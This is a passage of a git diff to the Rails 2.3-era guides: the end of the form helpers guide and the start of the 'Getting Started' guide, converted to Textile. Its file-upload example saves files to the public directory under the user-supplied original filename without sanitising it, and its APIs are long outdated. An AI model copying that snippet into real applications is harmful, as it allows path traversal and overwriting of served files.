+Rails will also automatically set the +class+ and +id+ of the form appropriately: a form creating an article would have +id+ and +class+ +new_article+. If you were editing the article with id 23, the +class+ would be set to +edit_article+ and the id to +edit_article_23+. These attributes will be omitted for brevity in the rest of this guide.
+
+WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, +:url+, and +:method+ explicitly.
+
+h5. Dealing with Namespaces
+
+If you have created namespaced routes, +form_for+ has a nifty shorthand for that too. If your application has an admin namespace then
+
+<ruby>
+form_for [:admin, @article]
+</ruby>
+
+will create a form that submits to the articles controller inside the admin namespace (submitting to +admin_article_path(@article)+ in the case of an update). If you have several levels of namespacing then the syntax is similar:
+
+<ruby>
+form_for [:admin, :management, @article]
+</ruby>
+
+For more information on Rails' routing system and the associated conventions, please see the "routing guide":./routing_outside_in.html.
+
+
+h4. How do forms with PUT or DELETE methods work?
+
+The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
+
+Rails works around this issue by emulating other methods over POST with a hidden input named +"_method"+, which is set to reflect the desired method:
+
+<ruby>
+form_tag(search_path, :method => "put")
+</ruby>
+
+output:
+
+<html>
+<form action="/search" method="post">
+ <div style="margin:0;padding:0">
+ <input name="_method" type="hidden" value="put" />
+ <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+ </div>
+ ...
+</html>
+
+When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example).
+
+
+h3. Making Select Boxes with Ease
+
+Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
+
+Here is what the markup might look like:
+
+<html>
+<select name="city_id" id="city_id">
+ <option value="1">Lisbon</option>
+ <option value="2">Madrid</option>
+ ...
+ <option value="12">Berlin</option>
+</select>
+</html>
+
+Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
+
+h4. The Select and Option Tags
+
+The most generic helper is +select_tag+, which -- as the name implies -- simply generates the +SELECT+ tag that encapsulates an options string:
+
+<erb>
+<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
+</erb>
+
+This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the +options_for_select+ helper:
+
+<erb>
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+output:
+
+<option value="1">Lisbon</option>
+<option value="2">Madrid</option>
+...
+</erb>
+
+The first argument to +options_for_select+ is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
+
+Knowing this, you can combine +select_tag+ and +options_for_select+ to achieve the desired, complete markup:
+
+<erb>
+<%= select_tag(:city_id, options_for_select(...)) %>
+</erb>
+
++options_for_select+ allows you to pre-select an option by passing its value.
+
+<erb>
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
+
+output:
+
+<option value="1">Lisbon</option>
+<option value="2" selected="selected">Madrid</option>
+...
+</erb>
+
+Whenever Rails sees that the internal value of an option being generated matches this value, it will add the +selected+ attribute to that option.
+
+TIP: The second argument to +options_for_select+ must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to +options_for_select+ -- you must pass 2. Be aware of values extracted from the +params+ hash as they are all strings.
+
+h4. Select Boxes for Dealing with Models
+
+In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the +_tag+ suffix from +select_tag+:
+
+<ruby>
+# controller:
+@person = Person.new(:city_id => 2)
+</ruby>
+
+<erb>
+# view:
+<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
+</erb>
+
+Notice that the third parameter, the options array, is the same kind of argument you pass to +options_for_select+. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the +@person.city_id+ attribute.
+
+As with other helpers, if you were to use the +select+ helper on a form builder scoped to the +@person+ object, the syntax would be:
+
+<erb>
+# select on a form builder
+<%= f.select(:city_id, ...) %>
+</erb>
+
+WARNING: If you are using +select+ (or similar helpers such as +collection_select+, +select_tag+) to set a +belongs_to+ association you must pass the name of the foreign key (in the example above +city_id+), not the name of association itself. If you specify +city+ instead of +city_id+ Active Record will raise an error along the lines of <pre> ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) </pre> when you pass the +params+ hash to +Person.new+ or +update_attributes+. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly. You may wish to consider the use of +attr_protected+ and +attr_accessible+. For further details on this, see the "Ruby On Rails Security Guide":security.html#_mass_assignment.
+
+h4. Option Tags from a Collection of Arbitrary Objects
+
+Generating options tags with +options_for_select+ requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
+
+<erb>
+<% cities_array = City.all.map { |city| [city.name, city.id] } %>
+<%= options_for_select(cities_array) %>
+</erb>
+
+This is a perfectly valid solution, but Rails provides a less verbose alternative: +options_from_collection_for_select+. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively:
+
+<erb>
+<%= options_from_collection_for_select(City.all, :id, :name) %>
+</erb>
+
+As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with +select_tag+, just as you would with +options_for_select+. When working with model objects, just as +select+ combines +select_tag+ and +options_for_select+, +collection_select+ combines +select_tag+ with +options_from_collection_for_select+.
+
+<erb>
+<%= collection_select(:person, :city_id, City.all, :id, :name) %>
+</erb>
+
+To recap, +options_from_collection_for_select+ is to +collection_select+ what +options_for_select+ is to +select+.
+
+NOTE: Pairs passed to +options_for_select+ should have the name first and the id second, however with +options_from_collection_for_select+ the first argument is the value method and the second the text method.
+
+h4. Time Zone and Country Select
+
+To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using +collection_select+, but you can simply use the +time_zone_select+ helper that already wraps this:
+
+<erb>
+<%= time_zone_select(:person, :time_zone) %>
+</erb>
+
+There is also +time_zone_options_for_select+ helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
+
+Rails _used_ to have a +country_select+ helper for choosing countries, but this has been extracted to the "country_select plugin":http://github.com/rails/country_select/tree/master. When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from rails).
+
+h3. Using Date and Time Form Helpers
+
+The date and time helpers differ from all the other form helpers in two important respects:
+
+# Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your +params+ hash with your date or time.
+# Other helpers use the +_tag+ suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, +select_date+, +select_time+ and +select_datetime+ are the barebones helpers, +date_select+, +time_select+ and +datetime_select+ are the equivalent model object helpers.
+
+Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
+
+h4. Barebones Helpers
+
+The +select_*+ family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
+
+<erb>
+<%= select_date Date.today, :prefix => :start_date %>
+</erb>
+
+outputs (with actual option values omitted for brevity)
+
+<html>
+<select id="start_date_year" name="start_date[year]"> ... </select>
+<select id="start_date_month" name="start_date[month]"> ... </select>
+<select id="start_date_day" name="start_date[day]"> ... </select>
+</html>
+
+The above inputs would result in +params[:start_date]+ being a hash with keys +:year+, +:month+, +:day+. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
+
+<ruby>
+Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
+</ruby>
+
+The +:prefix+ option is the key used to retrieve the hash of date components from the +params+ hash. Here it was set to +start_date+, if omitted it will default to +date+.
+
+h4. Model Object Helpers
+
++select_date+ does not work well with forms that update or create Active Record objects as Active Record expects each element of the +params+ hash to correspond to one attribute.
+The model object helpers for dates and times submit parameters with special names, when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
+
+<erb>
+<%= date_select :person, :birth_date %>
+</erb>
+
+outputs (with actual option values omitted for brevity)
+
+<html>
+<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
+<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
+<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
+</html>
+
+which results in a +params+ hash like
+
+<ruby>
+{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
+</ruby>
+
+When this is passed to +Person.new+ (or +update_attributes+), Active Record spots that these parameters should all be used to construct the +birth_date+ attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as +Date.civil+.
+
+h4. Common Options
+
+Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the +:start_year+ and +:end_year+ options override this. For an exhaustive list of the available options, refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html.
+
+As a rule of thumb you should be using +date_select+ when working with model objects and +select_date+ in other cases, such as a search form which filters results by date.
+
+NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
+
+h4. Individual Components
+
+Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overriden with the +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value.
+
+The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example
+
+<erb>
+<%= select_year(2009) %>
+<%= select_year(Time.now) %>
+</erb>
+
+will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by +params[:date][:year]+.
+
+h3. Uploading Files
+
+A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the form's encoding *MUST* be set to "multipart/form-data". If you forget to do this the file will not be uploaded. This can be done by passing +:multi_part => true+ as an HTML option. This means that in the case of +form_tag+ it must be passed in the second options hash and in the case of +form_for+ inside the +:html+ hash.
+
+The following two forms both upload a file.
+
+<erb>
+<% form_tag({:action => :upload}, :multipart => true) do %>
+ <%= file_field_tag 'picture' %>
+<% end %>
+
+<% form_for @person, :html => {:multipart => true} do |f| %>
+ <%= f.file_field :picture %>
+<% end %>
+</erb>
+
+Rails provides the usual pair of helpers: the barebones +file_field_tag+ and the model oriented +file_field+. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in +params[:picture]+ and in the second case in +params[:person][:picture]+.
+
+h4. What Gets Uploaded
+
+The object in the +params+ hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an +original_filename+ attribute containing the name the file had on the user's computer and a +content_type+ attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in +#{Rails.root}/public/uploads+ under the same name as the original file (assuming the form was the one in the previous example).
+
+<ruby>
+def upload
+ uploaded_io = params[:person][:picture]
+ File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
+ file.write(uploaded_io.read)
+ end
+end
+</ruby>
+
+Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are "Attachment-Fu":http://github.com/technoweenie/attachment_fu and "Paperclip":http://www.thoughtbot.com/projects/paperclip.
+
+NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
+
+h4. Dealing with Ajax
+
+Unlike other forms making an asynchronous file upload form is not as simple as replacing +form_for+ with +remote_form_for+. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
+
+h3. Customising Form Builders
+
+As mentioned previously the object yielded by +form_for+ and +fields_for+ is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example
+
+<erb>
+<% form_for @person do |f| %>
+ <%= text_field_with_label f, :first_name %>
+<% end %>
+</erb>
+
+can be replaced with
+
+<erb>
+<% form_for @person, :builder => LabellingFormBuilder do |f| %>
+ <%= f.text_field :first_name %>
+<% end %>
+</erb>
+
+by defining a LabellingFormBuilder class similar to the following:
+
+<ruby>
+class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+ def text_field(attribute, options={})
+ label(attribute) + super
+ end
+end
+</ruby>
+
+If you reuse this frequently you could define a +labeled_form_for+ helper that automatically applies the +:builder => LabellingFormBuilder+ option.
+
+The form builder used also determines what happens when you do
+
+<erb>
+<%= render :partial => f %>
+</erb>
+
+If +f+ is an instance of FormBuilder then this will render the +form+ partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the +labelling_form+ partial would be rendered instead.
+
+h3. Understanding Parameter Naming Conventions
+
+As you've seen in the previous sections, values from forms can be at the top level of the +params+ hash or nested in another hash. For example in a standard +create+
+action for a Person model, +params[:model]+ would usually be a hash of all the attributes for the person to create. The +params+ hash can also contain arrays, arrays of hashes and so on.
+
+Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
+
+TIP: You may find you can try out examples in this section faster by using the console to directly invoke Rails' parameter parser. For example <pre> ActionController::UrlEncodedPairParser.parse_query_parameters "name=fred&phone=0123456789" # => {"name"=>"fred", "phone"=>"0123456789"} </pre>
+
+h4. Basic Structures
+
+The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in +params+. For example if a form contains
+
+<html>
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+</html>
+
+the +params+ hash will contain
+
+<erb>
+{'person' => {'name' => 'Henry'}}
+</erb>
+
+and +params["name"]+ will retrieve the submitted value in the controller.
+
+Hashes can be nested as many levels as required, for example
+
+<html>
+<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
+</html>
+
+will result in the +params+ hash being
+
+<ruby>
+{'person' => {'address' => {'city' => 'New York'}}}
+</ruby>
+
+Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:
+
+<html>
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+</html>
+
+This would result in +params[:person][:phone_number]+ being an array.
+
+h4. Combining Them
+
+We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
+
+<html>
+<input name="addresses[][line1]" type="text"/>
+<input name="addresses[][line2]" type="text"/>
+<input name="addresses[][city]" type="text"/>
+</html>
+
+This would result in +params[:addresses]+ being an array of hashes with keys +line1+, +line2+ and +city+. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
+
+There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.
+
+WARNING: Array parameters do not play well with the +check_box+ helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The +check_box+ helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use +check_box_tag+ or to use hashes instead of arrays.
+
+h4. Using Form Helpers
+
+The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as +text_field_tag+ Rails also provides higher level support. The two tools at your disposal here are the name parameter to +form_for+ and +fields_for+ and the +:index+ option that helpers take.
+
+You might want to render a form with a set of edit fields for each of a person's addresses. For example:
+
+<erb>
+<% form_for @person do |person_form| %>
+ <%= person_form.text_field :name %>
+ <% for address in @person.addresses %>
+ <% person_form.fields_for address, :index => address do |address_form|%>
+ <%= address_form.text_field :city %>
+ <% end %>
+ <% end %>
+<% end %>
+</erb>
+
+Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
+
+<html>
+<form action="/people/1" class="edit_person" id="edit_person_1" method="post">
+ <input id="person_name" name="person[name]" size="30" type="text" />
+ <input id="person_address_23_city" name="person[address][23][city]" size="30" type="text" />
+ <input id="person_address_45_city" name="person[address][45][city]" size="30" type="text" />
+</form>
+</html>
+
+This will result in a +params+ hash that looks like
+
+<ruby>
+{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
+</ruby>
+
+Rails knows that all these inputs should be part of the person hash because you called +fields_for+ on the first form builder. By specifying an +:index+ option you're telling rails that instead of naming the inputs +person[address][city]+ it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call +to_param+ on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even +nil+ (which will result in an array parameter being created).
+
+To create more intricate nestings, you can specify the first part of the input name (+person[address]+ in the previous example) explicitly, for example
+
+<erb>
+<% fields_for 'person[address][primary]', address, :index => address do |address_form| %>
+ <%= address_form.text_field :city %>
+<% end %>
+</erb>
+
+will create inputs like
+
+<html>
+<input id="person_address_primary_1_city" name="person[address][primary][1][city]" size="30" type="text" value="bologna" />
+</html>
+
+As a general rule the final input name is the concatenation of the name given to +fields_for+/+form_for+, the index value and the name of the attribute. You can also pass an +:index+ option directly to helpers such as +text_field+, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
+
+As a shortcut you can append [] to the name and omit the +:index+ option. This is the same as specifing +:index => address+ so
+
+<erb>
+<% fields_for 'person[address][primary][]', address do |address_form| %>
+ <%= address_form.text_field :city %>
+<% end %>
+</erb>
+
+produces exactly the same output as the previous example.
+
+h3. Building Complex Forms
+
+Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary. While this guide has shown you all the pieces necessary to handle this, Rails does not yet have a standard end-to-end way of accomplishing this, but many have come up with viable approaches. These include:
+
+* Ryan Bates' series of railscasts on "complex forms":http://railscasts.com/episodes/75
+* Handle Multiple Models in One Form from "Advanced Rails Recipes":http://media.pragprog.com/titles/fr_arr/multiple_models_one_form.pdf
+* Eloy Duran's "nested_params":http://github.com/alloy/complex-form-examples/tree/alloy-nested_params plugin
+* Lance Ivy's "nested_assignment":http://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":http://github.com/cainlevy/complex-form-examples/tree/cainlevy
+* James Golick's "attribute_fu":http://github.com/giraffesoft/attribute_fu/tree plugin
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/1
+
+h3. Authors
+
+* Mislav Marohnić <mislav.marohnic@gmail.com>
+* "Frederick Cheung":credits.html#fcheung
diff --git a/railties/doc/guides/source/getting_started_with_rails.txt b/railties/guides/source/getting_started.textile
index 7e87c2935e..a216201490 100644
--- a/railties/doc/guides/source/getting_started_with_rails.txt
+++ b/railties/guides/source/getting_started.textile
@@ -1,40 +1,43 @@
-Getting Started With Rails
-==========================
+h2. Getting Started with Rails
-This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with:
+This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with:
* Installing Rails, creating a new Rails application, and connecting your application to a database
* The general layout of a Rails application
* The basic principles of MVC (Model, View Controller) and RESTful design
* How to quickly generate the starting pieces of a Rails application.
-== This Guide Assumes
+endprologue.
+
+WARNING. This Guide is based on Rails 2.3. Some of the code shown here will not work in older versions of Rails.
+
+h3. This Guide Assumes
This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:
-* The link:http://www.ruby-lang.org/en/downloads/[Ruby] language
-* The link:http://rubyforge.org/frs/?group_id=126[RubyGems] packaging system
-* A working installation of link:http://www.sqlite.org/[SQLite] (preferred), link:http://www.mysql.com/[MySQL], or link:http://www.postgresql.org/[PostgreSQL]
+* The "Ruby":http://www.ruby-lang.org/en/downloads language
+* The "RubyGems":http://rubyforge.org/frs/?group_id=126 packaging system
+* A working installation of "SQLite":http://www.sqlite.org (preferred), "MySQL":http://www.mysql.com, or "PostgreSQL":http://www.postgresql.org
-It is highly recommended that you *familiarize yourself with Ruby before diving into Rails*. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the net for learning Ruby, including:
+It is highly recommended that you *familiarize yourself with Ruby before diving into Rails*. You will find it much easier to follow what’s going on with a Rails application if you understand basic Ruby syntax. Rails isn’t going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the internet for learning Ruby, including:
-* link:http://www.humblelittlerubybook.com/[Mr. Neigborly’s Humble Little Ruby Book]
-* link:http://www.rubycentral.com/book/[Programming Ruby]
-* link:http://poignantguide.net/ruby/[Why's (Poignant) Guide to Ruby]
+* "Mr. Neighborly’s Humble Little Ruby Book":http://www.humblelittlerubybook.com
+* "Programming Ruby":http://www.rubycentral.com/book
+* "Why’s (Poignant) Guide to Ruby":http://poignantguide.net/ruby/
-== What is Rails?
+h3. What is Rails?
Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun.
-Rails is _opinionated software_. That is, it assumes that there is a best way to do things, and it's designed to encourage that best way - and in some cases discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.
+Rails is opinionated software. That is, it assumes that there is a best way to do things, and it’s designed to encourage that best way - and in some cases to discourage alternatives. If you learn "The Rails Way" you’ll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.
The Rails philosophy includes several guiding principles:
-* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
-* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than letting you tweak every little thing through endless configuration files.
+* DRY - "Don’t Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
+* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you’re going to do it, rather than letting you tweak every little thing through endless configuration files.
* REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go.
-=== The MVC Architecture
+h4. The MVC Architecture
Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include:
@@ -42,19 +45,19 @@ Rails is organized around the Model, View, Controller architecture, usually just
* Ease of keeping code DRY
* Making it clear where different types of code belong for easier maintenance
-==== Models
+h5. Models
-A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models.
+A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application’s business logic will be concentrated in the models.
-==== Views
+h5. Views
Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.
-==== Controllers
+h5. Controllers
Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.
-=== The Components of Rails
+h4. The Components of Rails
Rails provides a full stack of components for creating web applications, including:
@@ -66,122 +69,117 @@ Rails provides a full stack of components for creating web applications, includi
* Railties
* Active Support
-==== Action Controller
+h5. Action Controller
Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.
-==== Action View
+h5. Action View
Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support.
-==== Active Record
+h5. Active Record
Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.
-==== Action Mailer
+h5. Action Mailer
Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email.
-==== Active Resource
+h5. Active Resource
Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.
-==== Railties
+h5. Railties
Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application.
-==== Active Support
+h5. Active Support
-Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.
+Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.
-=== REST
+h4. REST
-The foundation of the RESTful architecture is generally considered to be Roy Fielding's doctoral thesis, link:http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm[Architectural Styles and the Design of Network-based Software Architectures]. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
+The foundation of the RESTful architecture is generally considered to be Roy Fielding’s doctoral thesis, "Architectural Styles and the Design of Network-based Software Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
* Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
-* Transferring representations of the state of that resource between system components.
+* Transferring representations of the state of that resource between system components.
For example, to a Rails application a request such as this:
-+DELETE /photos/17+
+<tt>DELETE /photos/17</tt>
-would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.
+would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities and browser quirks.
If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis:
-* link:http://www.infoq.com/articles/rest-introduction[A Brief Introduction to REST] by Stefan Tilkov
-* link:http://bitworking.org/news/373/An-Introduction-to-REST[An Introduction to REST] (video tutorial) by Joe Gregorio
-* link:http://en.wikipedia.org/wiki/Representational_State_Transfer[Representational State Transfer] article in Wikipedia
+* "A Brief Introduction to REST":http://www.infoq.com/articles/rest-introduction by Stefan Tilkov
+* "An Introduction to REST":http://bitworking.org/news/373/An-Introduction-to-REST (video tutorial) by Joe Gregorio
+* "Representational State Transfer":http://en.wikipedia.org/wiki/Representational_State_Transfer article in Wikipedia
+* "How to GET a Cup of Coffee":http://www.infoq.com/articles/webber-rest-workflow by Jim Webber, Savas Parastatidis & Ian Robinson
-== Creating a New Rails Project
+h3. Creating a New Rails Project
-If you follow this guide, you'll create a Rails project called +blog+, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.
+If you follow this guide, you’ll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.
-=== Installing Rails
+h4. Installing Rails
In most cases, the easiest way to install Rails is to take advantage of RubyGems:
-[source, shell]
--------------------------------------------------------
+<shell>
$ gem install rails
--------------------------------------------------------
+</shell>
-NOTE: There are some special circumstances in which you might want to use an alternate installation strategy:
+NOTE. There are some special circumstances in which you might want to use an alternate installation strategy:
-* If you're working on Windows, you may find it easier to install link:http://instantrails.rubyforge.org/wiki/wiki.pl[Instant Rails]. Be aware, though, that Instant Rails releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
-* If you want to keep up with cutting-edge changes to Rails, you'll want to clone the link:http://github.com/rails/rails/tree/master[Rails source code] from github. This is not recommended as an option for beginners, though.
+* If you’re working on Windows, you may find it easier to install Instant Rails. Be aware, though, that "Instant Rails":http://instantrails.rubyforge.org/wiki/wiki.pl releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
+* If you want to keep up with cutting-edge changes to Rails, you’ll want to clone the "Rails source code":http://github.com/rails/rails/tree/master from github. This is not recommended as an option for beginners, though.
-=== Creating the Blog Application
+h4. Creating the Blog Application
Open a terminal, navigate to a folder where you have rights to create files, and type:
-[source, shell]
--------------------------------------------------------
+<shell>
$ rails blog
--------------------------------------------------------
+</shell>
This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead:
-[source, shell]
--------------------------------------------------------
+<shell>
$ rails blog -d mysql
--------------------------------------------------------
+</shell>
